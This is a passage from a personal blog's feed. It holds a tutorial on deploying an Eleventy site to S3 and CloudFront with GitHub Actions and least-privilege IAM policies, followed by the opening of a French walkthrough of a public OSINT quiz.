&lt;li&gt;Acknowledge that you know the risks by ticking the following checkbox&lt;/li&gt;
&lt;li&gt;Leave the remaining settings as is, and click &lt;strong&gt;Create bucket&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The bucket is now created. Click on it to modify some properties:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Click your bucket name in the list&lt;/li&gt;
&lt;li&gt;Go over the &lt;strong&gt;Properties&lt;/strong&gt; tab&lt;/li&gt;
&lt;li&gt;Scroll all the way down to the &lt;strong&gt;Static website hosting&lt;/strong&gt; section&lt;/li&gt;
&lt;li&gt;Click Edit, and choose &lt;strong&gt;Enable&lt;/strong&gt; for Static website hosting&lt;/li&gt;
&lt;li&gt;Define the Index document, in my case &lt;code&gt;index.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Save the changes&lt;/li&gt;
&lt;li&gt;Note your bucket website endpoint : that&#39;ll be the URL for our site!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now we need to define the Bucket policy! Switch to the &lt;strong&gt;Permissions&lt;/strong&gt; tab:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Click on &lt;strong&gt;Permissions&lt;/strong&gt; tab&lt;/li&gt;
&lt;li&gt;Scroll to the &lt;strong&gt;Bucket policy&lt;/strong&gt; section&lt;/li&gt;
&lt;li&gt;Click Edit, then enter the following JSON policy:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;language-json&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;Version&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2012-10-17&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;Statement&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;Sid&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;PublicReadGetObject&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;Effect&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Allow&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;Principal&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;Action&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;s3:GetObject&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;Resource&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;arn:aws:s3:::YOUR-BUCKET-NAME-HERE/*&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;Replace &lt;code&gt;YOUR-BUCKET-NAME-HERE&lt;/code&gt; by your current bucket name&lt;/li&gt;
&lt;li&gt;Be aware that this policy makes EVERYTHING public inside your bucket. You might want to use something more strict!&lt;/li&gt;
&lt;li&gt;And save the changes&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That&#39;s it, the bucket is ready to be used as for website hosting.&lt;/p&gt;
&lt;h2 id=&quot;create-the-iam-policies-and-user&quot;&gt;Create the IAM policies and user&lt;/h2&gt;
&lt;p&gt;Following best practices in security is always a good idea. For this reason, we&#39;ll create a new user that&#39;ll be used only for this project, and only with the minimal required permissions/policies.&lt;/p&gt;
&lt;p&gt;Here&#39;s what we need to give permissions for:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Send and delete data inside the S3 bucket&lt;/li&gt;
&lt;li&gt;Send invalidation request for CloudFront (to make sure we are serving the most recent version of the site after pushing changes)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;create-the-policies&quot;&gt;Create the policies&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Go into the AWS IAM section&lt;/li&gt;
&lt;li&gt;On the left, choose &lt;strong&gt;Policies&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Then click &lt;strong&gt;Create policy&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Use the following JSON for the S3 policy:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;language-json&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;Version&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2012-10-17&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;Statement&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;Sid&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;VisualEditor0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;Effect&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Allow&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;Action&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
                &lt;span class=&quot;token string&quot;&gt;&quot;s3:PutObject&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token string&quot;&gt;&quot;s3:GetObject&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token string&quot;&gt;&quot;s3:ListBucket&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token string&quot;&gt;&quot;s3:DeleteObject&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token string&quot;&gt;&quot;s3:GetBucketLocation&quot;&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;Resource&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
                &lt;span class=&quot;token string&quot;&gt;&quot;arn:aws:s3:::YOUR-BUCKET-NAME-HERE&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token string&quot;&gt;&quot;arn:aws:s3:::YOUR-BUCKET-NAME-HERE/*&quot;&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;Click Next: Tags, then Next: Review, then give it a good name and click Create Policy.&lt;/li&gt;
&lt;li&gt;Next, we need to create a second policy for the cache invalidation in CloudFront. Do the same as before, but with the following JSON:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;language-json&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;Version&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2012-10-17&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;Statement&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;Sid&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;VisualEditor0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;Effect&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Allow&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;Action&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
                &lt;span class=&quot;token string&quot;&gt;&quot;cloudfront:ListInvalidations&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token string&quot;&gt;&quot;cloudfront:GetInvalidation&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token string&quot;&gt;&quot;cloudfront:CreateInvalidation&quot;&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;Resource&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;arn:aws:cloudfront::CLOUDFRONT-ID:distribution/*&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;7&quot;&gt;
&lt;li&gt;Replace &lt;code&gt;CLOUDFRONT-ID&lt;/code&gt; with your unique CloudFront distribution ID (you can find it in the ARN.&lt;/li&gt;
&lt;li&gt;Give a name to your policy and Create it!&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;create-a-new-user&quot;&gt;Create a new user&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Go into the AWS IAM section&lt;/li&gt;
&lt;li&gt;On the left, choose &lt;strong&gt;Users&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Then click &lt;strong&gt;Add users&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Give it a good name, and choose Access key as the credential type.&lt;/li&gt;
&lt;li&gt;Go into the &lt;strong&gt;Attach existing policies directly&lt;/strong&gt; tab&lt;/li&gt;
&lt;li&gt;Choose the two policies we just created (first one for S3 access, then the CloudFront one)&lt;/li&gt;
&lt;li&gt;Click Next: Tags, then Next: Review, and Create the user.&lt;/li&gt;
&lt;li&gt;Don&#39;t forget to save the credentials! We need them in the next steps.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;add-github-repository-secrets&quot;&gt;Add GitHub repository secrets&lt;/h3&gt;
&lt;p&gt;Head to your GitHub repository, and go into the Settings.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;On the left, under Security, click &lt;strong&gt;Secrets&lt;/strong&gt;, then &lt;strong&gt;Actions&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Create four new secrets for each of these:
&lt;ul&gt;
&lt;li&gt;AWS_ACCESS_KEY_ID&lt;/li&gt;
&lt;li&gt;AWS_SECRET_ACCESS_KEY&lt;/li&gt;
&lt;li&gt;CLOUDFRONT_ID&lt;/li&gt;
&lt;li&gt;S3_BUCKET&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This way, the AWS credentials won&#39;t be exposed in your GitHub Actions file, neither will your CloudFront distribution ID or the name of your S3 bucket.&lt;/p&gt;
&lt;h2 id=&quot;github-actions&quot;&gt;GitHub Actions&lt;/h2&gt;
&lt;p&gt;In your GitHub repo, go into the &lt;strong&gt;Actions&lt;/strong&gt; tab. Click &lt;strong&gt;New Workflow&lt;/strong&gt; and add the following:&lt;/p&gt;
&lt;pre class=&quot;language-yaml&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Build and Deploy to S3
&lt;span class=&quot;token key atrule&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;push&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;jobs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;build_and_deploy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;runs-on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ubuntu&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;latest
    &lt;span class=&quot;token key atrule&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Checkout repository
        &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/checkout@v2.3.4

      &lt;span class=&quot;token comment&quot;&gt;# Uncomment if you want to specify a certain&lt;/span&gt;
      &lt;span class=&quot;token comment&quot;&gt;# Node version. Otherwise the Node version installed&lt;/span&gt;
      &lt;span class=&quot;token comment&quot;&gt;# on the GitHub VM will be used. For more details&lt;/span&gt;
      &lt;span class=&quot;token comment&quot;&gt;# see: https://github.com/actions/virtual-environments&lt;/span&gt;
      &lt;span class=&quot;token comment&quot;&gt;# - name: Setup Node.js environment&lt;/span&gt;
      &lt;span class=&quot;token comment&quot;&gt;#   uses: actions/setup-node@v2.1.4&lt;/span&gt;
      &lt;span class=&quot;token comment&quot;&gt;#   with:&lt;/span&gt;
      &lt;span class=&quot;token comment&quot;&gt;#     node-version: &#39;15.7.0&#39;&lt;/span&gt;

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Install dependencies
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npm ci

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Build the website
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npx @11ty/eleventy

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Configure AWS Credentials
        &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; aws&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;actions/configure&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;aws&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;credentials@v1
        &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;aws-access-key-id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; $
          &lt;span class=&quot;token key atrule&quot;&gt;aws-secret-access-key&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; $
          &lt;span class=&quot;token key atrule&quot;&gt;aws-region&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; us&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;east&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# replace this with your aws-region&lt;/span&gt;

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Upload files to S3 with AWS CLI
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
          aws s3 sync public/ s3://$ --delete&lt;/span&gt;

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Invalidate CloudFront cache for all paths
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
          aws cloudfront create-invalidation --distribution-id $ --paths &quot;/*&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&#39;s it for the GitHub Action! The workflow should run after commiting the &lt;code&gt;main.yml&lt;/code&gt; file. If all went well, you should have your site up at your S3 URL saved earlier! Check the logs to make sure there&#39;s no errors.&lt;/p&gt;
&lt;h2 id=&quot;cloudfront&quot;&gt;CloudFront&lt;/h2&gt;
&lt;p&gt;The last step is to add CloudFront as the CDN on top of the S3 bucket. For this, I&#39;m using a cheap domain I had laying around. You can do it without a domain, the CloudFront default URL can be used for learning purpose.&lt;/p&gt;
&lt;h3 id=&quot;create-distribution&quot;&gt;Create distribution&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Go into the AWS CloudFront section, and click Create distribution&lt;/li&gt;
&lt;li&gt;As the Origin domain, you need to enter your S3 URL (without the http/https)&lt;/li&gt;
&lt;li&gt;All the other default parameters work for us, leave them as is.&lt;/li&gt;
&lt;li&gt;Click Create Distribution, and wait for it to be created in AWS.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You could stop here if you wanted. Using the CloudFront default domain name, you can then have access to your site! But I wanted to go a step further and a my own domain name.&lt;/p&gt;
&lt;h3 id=&quot;request-a-certificate-for-your-domain&quot;&gt;Request a certificate for your domain&lt;/h3&gt;
&lt;p&gt;To proceed here, you need your own domain. You can get some cheap ones if you want.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go into the AWS Certificate Manager section&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Request&lt;/strong&gt; to start a new request&lt;/li&gt;
&lt;li&gt;Choose &lt;strong&gt;Request a public certificate&lt;/strong&gt;, then click Next&lt;/li&gt;
&lt;li&gt;Enter your domain name in the field for it, then choose &lt;strong&gt;DNS validation&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Request&lt;/strong&gt; at the end&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To validate that you&#39;re the owner of the domain, you need to add a CNAME record. AWS will give you a Name and a Value that you enter in the record. Create the record, and wait a minute. AWS should then issue your certificate!&lt;/p&gt;
&lt;h3 id=&quot;define-alternative-domain-for-cloudfront-distribution&quot;&gt;Define alternative domain for CloudFront distribution&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Back into the CloudFront section, choose your distribution&lt;/li&gt;
&lt;li&gt;In the Settings section, click Edit to add the alternative domain&lt;/li&gt;
&lt;li&gt;Enter the alternate domain, and choose the certificate that was just issued&lt;/li&gt;
&lt;li&gt;Save the changes&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;add-cname-record&quot;&gt;Add CNAME record&lt;/h3&gt;
&lt;p&gt;Finally, we add the CNAME record linking our domain to the CloudFront distribution.
&lt;code&gt;CNAME @ YOUR-CLOUDFRONT-URL&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;next-steps&quot;&gt;Next steps ?&lt;/h2&gt;
&lt;p&gt;Using the AWS web management console is only half the job: I want to do this using IaC. I would also like to create some type of logging, maybe add a dashboard for it.&lt;/p&gt;
&lt;h2 id=&quot;final-word&quot;&gt;Final word&lt;/h2&gt;
&lt;p&gt;That&#39;s it! I now have a live copy of this website on AWS S3. When I commit changes to the repository, two builds will run in parallel:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Vercel will build and deploy&lt;/li&gt;
&lt;li&gt;GitHub Actions will trigger a build and deploy to S3, and the CloudFront cache will be refreshed&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To complete this, I had some help from the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cri.dev/posts/2019-08-29-Deploy-Eleventy-site-with-Github-Actions-on-AWS-S3/&quot;&gt;https://cri.dev/posts/2019-08-29-Deploy-Eleventy-site-with-Github-Actions-on-AWS-S3/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://monicagranbois.com/blog/webdev/use-github-actions-to-deploy-11ty-site-to-s3/&quot;&gt;https://monicagranbois.com/blog/webdev/use-github-actions-to-deploy-11ty-site-to-s3/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://florian.ec/blog/static-website-github-actions-s3-deploy/&quot;&gt;https://florian.ec/blog/static-website-github-actions-s3-deploy/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://boodyvo.hashnode.dev/deploy-a-static-website-on-aws-with-terraform&quot;&gt;https://boodyvo.hashnode.dev/deploy-a-static-website-on-aws-with-terraform&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The initial idea came from &lt;a href=&quot;https://www.reddit.com/r/devops/comments/wuetf4/comment/il9lry8/?utm_source=reddit&amp;amp;utm_medium=web2x&amp;amp;context=3&quot;&gt;this Reddit comment&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;two-days-later-edit-08-27&quot;&gt;Two days later edit (08/27)&lt;/h2&gt;
&lt;p&gt;I noticed that my initial S3+CloudFront setup was allowing requests to be sent directly to the S3 bucket website endpoint, which isn&#39;t something you want when using caching through CDN such as CloudFront. I found a way to change this so that only the CloudFront URL can be used (or its alternate domain name).&lt;/p&gt;
&lt;p&gt;A couple of things were modified to make it work:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Static web hosting has to be activated on the S3 bucket, but I also had to block all public access&lt;/li&gt;
&lt;li&gt;I created a CloudFront Origin access identity (legacy), that is then used inside the bucket policy to allow access (and it&#39;s assigned inside the CloudFront distribution)&lt;/li&gt;
&lt;li&gt;The Object Ownership is Bucket owner enforced in the S3 bucket&lt;/li&gt;
&lt;li&gt;Added a CORS configuration allowing GET requests on all origins&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/example-function-add-index.html&quot;&gt;And finally added a CloudFront function that appends &lt;code&gt;index.html&lt;/code&gt; at the end of URL that don&#39;t have it&lt;/a&gt; (filenames within directories are hidden with Eleventy)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>OSINT quiz 2020 - Sector035</title>
    <link href="https://jrb.nz/posts/osint-quiz-2020/" />
    <updated>2022-03-10T00:00:00Z</updated>
    <id>https://jrb.nz/posts/osint-quiz-2020/</id>
    <content type="html">&lt;p&gt;J&#39;explore la communauté OSINT depuis quelques années. J&#39;ai (re)découvert les quiz de @Sector035 cette année, et j&#39;ai décidé de compléter l&#39;édition de 2020. Voir ce &lt;a href=&quot;https://twitter.com/sector035/status/1344378578490830848?lang=fr&quot;&gt;tweet&lt;/a&gt; pour le contexte.&lt;/p&gt;
&lt;p&gt;J&#39;avais déjà commencé l&#39;édition précédente (&lt;code&gt;osintquiz [at] gmail.com&lt;/code&gt;). J&#39;ai le souvenir que les questions étaient particulièrement difficiles. Cette nouvelle édition 2020 est vraiment plus simple et permet de faire un survol de plusieurs des outils de bases à la recherche OSINT.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Spoiler alert! Je donne pratiquement toutes les réponses au quiz de 2020 ci-dessous! Si vous voulez participer, je vous conseille de ne pas trop lire attentivement ;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;qu-est-ce-que-c-est&quot;&gt;Qu&#39;est-ce que c&#39;est?&lt;/h2&gt;
&lt;p&gt;Un peu comme dans un &lt;em&gt;escape game&lt;/em&gt;, les quiz OSINT demandent de trouver une solution à une question pour passer au niveau suivant. On procède en récupérant des indices et en fouillant sur le web. Les questions concernent de l&#39;information publiquement accessible sur Internet, mais demandent aussi un peu de réflexion et d&#39;analyse.&lt;/p&gt;
&lt;h2 id=&quot;comment-participer&quot;&gt;Comment participer ?&lt;/h2&gt;
&lt;p&gt;La procédure pour participer est très simple:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;How to start the 2020 OSINT Quiz?
Just write an email to: &lt;code&gt;osintquiz2020 [at] gmail.com&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The subject should say &amp;quot;start&amp;quot; and nothing else&lt;/li&gt;
&lt;li&gt;Be patient, the instructions should come in within a minute&lt;/li&gt;
&lt;li&gt;Read the email and make sure you understand how to send in the answer&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;On reçoit ensuite les instructions et questions du quiz par courriel. Pour passer au niveau suivant, il faut envoyer la réponse en &lt;a href=&quot;https://en.wikipedia.org/wiki/MD5&quot;&gt;hash MD5&lt;/a&gt; dans l&#39;objet d&#39;un nouveau courriel.&lt;/p&gt;
&lt;p&gt;Si le hash MD5 envoyé correspond à la bonne réponse, on reçoit automatiquement les instructions pour le niveau suivant.&lt;/p&gt;
&lt;h2 id=&quot;start&quot;&gt;start&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;On March 28, 2018 I (&lt;a href=&quot;https://twitter.com/Sector035&quot;&gt;sector035&lt;/a&gt;) sent out a tweet, quoting a geolocation challenge by someone else. But what is the display name of the Twitter account that sent out this quiz?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une recherche Google (March 28, 2018 sector035) permet de trouver rapidement le Tweet en question. Le &lt;em&gt;display name&lt;/em&gt; du compte qui a posté le challenge est Rickey Gevers.&lt;/p&gt;
&lt;h2 id=&quot;01&quot;&gt;01&lt;/h2&gt;
&lt;blockquote&gt;
